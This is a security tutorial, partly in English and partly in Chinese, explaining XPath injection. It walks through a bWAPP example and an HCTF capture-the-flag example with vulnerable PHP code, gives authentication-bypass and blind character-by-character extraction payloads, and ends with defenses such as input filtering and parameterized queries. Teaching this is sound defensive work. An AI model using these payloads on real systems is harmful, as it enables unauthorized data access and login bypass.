4. Detailed explanation of xpath injection

0x01 Introduction

XPath injection attack refers to the use of the loose input and fault tolerance characteristics of XPath parser, which can attach malicious XPath query code to URL, form or other information to gain access to permission information and change the information. XPath injection occurs when a site uses information entered by the user to construct a request to obtain XML data. The attacker sends specially constructed information to the site to explore how the XML used by the site is constructed, so as to further obtain data that cannot be obtained by normal means. An attacker can also escalate his privileges when XML data is used for account authentication.

0x02 Principle

The principle of XPath injection is roughly similar to SQL injection. Primarily by constructing special inputs, often some combination of XPath syntax, that will be passed into the web application as parameters to perform the action the intruder wants by executing an XPath query. However, the injected object is not the database users table, but an XML file that stores data. Because access control does not exist for xpath, we do not encounter many of the access restrictions that are often encountered in SQL injection. The location where the injection occurs is cookie, headers, request parameters/inputetc. E.g:

xml version="1.0" encoding="UTF-8"?> 
<users>
      <user>
            <firstname>Ben</firstname>
            <lastname>Elmore</lastname>
            <loginID>abc</loginID>
            <password>test123</password>
      </user>
      <user>
            <firstname>Shlomy</firstname>
            <lastname>Gantz</lastname>
            <loginID>xyz</loginID>
            <password>123test</password>
      </user>
      <user>
            <firstname>Jeghis</firstname>
            <lastname>Katz</lastname>
            <loginID>mrj</loginID>
            <password>jk2468</password>
      </user>
      <user>
            <firstname>Darien</firstname>
            <lastname>Heap</lastname>
            <loginID>drano</loginID>
            <password>2mne8s</password>
     </user>
 </users>
正常查询//users/user[loginID/text()='xyz'and password/text()='123test'],如果黑客在 loginID 字段中输入:' or 1=1 or ''=' 
则变成//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''=''],成功获取所有user数据,然后
攻击者完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

0x03 利用

如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生Xpath注入,那么就攻击者就可能通过控制查询,获取数据,或者删除数据之类的操作。

Xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面,搜索页面需要与xml交互的位置。

判断依据:主要根据错误信息页面判断以及查看源码进行分析。

xpath0.jpeg

Example:Bwapp

首先这是这个Get方式请求验证,因此对get的参数进行注入测试,发现报错信息,说明是可能通过xml存储于前端交互。

xpath1.png

然后构造xpath查询语句//users/user[loginID/text()='' and password/text()=''],因此'or 1=1 or ''='或者' or '1'='1等使其为真可以。

xpath2.png

Example:hctf

index.html

<?php
$re=array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep'); 

setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000); 

if(file_exists('t3stt3st.xml')) 
{ 
      $xml = simplexml_load_file('t3stt3st.xml'); 
      $user=$_GET['user']; 
      $user=str_replace($re, ' ',$user);
      $query="user/username[@name='".$user."']";
      $ans = $xml->xpath($query); 
      foreach($ans as $x => $x_value) 
     { 
           echo $x.": " . $x_value; echo "<br />"; } 
     } 
?>
t3stt3et.xml
xml version="1.0" encoding="utf-8"?> 
<root1> 
      <user> 
           <username name='user1'>user1</username> 
           <key>KEY:1</key> 
           <username name='user2'>user2</username> 
           <key>KEY:2</key> 
           <username name='user3'>user3</username> 
           <key>KEY:3</key> 
           <username name='user4'>user4</username> 
           <key>KEY:4</key> 
           <username name='user5'>user5</username> 
           <key>KEY:5</key> 
           <username name='user6'>user6</username> 
           <key>KEY:6</key> 
           <username name='user7'>user7</username> 
           <key>KEY:7</key> 
           <username name='user8'>user8</username> 
           <key>KEY:8</key> 
           <username name='user9'>user9</username> 
           <key>KEY:9</key> 
      </user>
      <hctfadmin> 
           <username name='hctf1'>hctf</username>             
           <key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key> 
      </hctfadmin>
 </root1>
 

通过查看源码$query,然后构造payload: `']|//*|['`

Example:

 

<addressBooke>
      <address>
      <name>Tom</name>
      <password>abcdefg</password>
      <age>20</age>
      <phone>13000000000</phone>
 </address>
 <address>
      <name>Bob</name>
      <password>abcdefg</password>
      <age>30</age>
      <phone>13000000001</phone>
 </address>
 <address>
      <name>Jack</name>
      <password>abcdefg</password>
      <age>40</age>
      <phone>13000000002</phone>
 </address>

 


原理类似SQL注入,构建新的查询逻辑来进行攻击
但是要注意,关键词像函数这种的区分大小写
1.构建新的逻辑实现注入
or 1=1
and 1=2
'or 'a'='a
'and 'a'='b
一个字节一个字节的提取出信息:
'or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' and 'a'='a
返回正常则判断正确
等同于下面的查询:
//address[name/text()='' or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' ]and 'a'='a]/phone/text()
通过查询名字的输入 却查询到了了tom的密码首位,尝试攻击每一个字符位置并测试每一个可能的值,获得密码
 
2.当然了大部分情况下,我们不能够知道任何节点的名称或者说只能知道一部分,可使用盲注XPath
相当于SQL盲注(大家都对语句嫩熟于心,不多提了)
首先提取父节点的名字:
'or substring(name(parent::*[position()=1]),1,1)='a  正常
'or substring(name(parent::*[position()=1]),2,1)='d  正常
........
父节点名字为address 是元素节点
提取子节点名字
'or substring(//address[1]/*[2],1,1)='p' or 'a'='a 正常
'or substring(//address[1]/*[2],2,1)='a' or 'a'='a 正常
........
二号子节点名称为password
提取子节点的值:
基于原理://address[1]/*[2]/text() -> tom的password 但是这个不会输出
我们通过布尔型来查询XML所有的内容
'or substring(//address[1]/*[2]/text(),1,1)='a' or'a'='a 正常
'or substring(//address[1]/*[2]/text(),1,1)='b' or'a'='a 正常
......
第二个子节点值为abcdefg
 
测试步骤:
提交这些看能否使得状态改变 (count返回子节点数量)
' or count(parent::*[position()=1])=0 or 'a'='b 状态1
' or count(aprent::*[position()=1])>0 or 'a'='b 状态改变
数字型参数:
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])=0 状态改变
确定了存在注入点,用上面的方法注入就可以了!

0x04 危害

  1. 在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据;
  2. 可通过此类漏洞查询获取到系统内部完整的XML文档内容。
  3. 逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。

0x05 防御

  1. 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
  2. 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
  3. 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。
  4. 参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。
  5. 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。 总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=326388321&siteId=291194637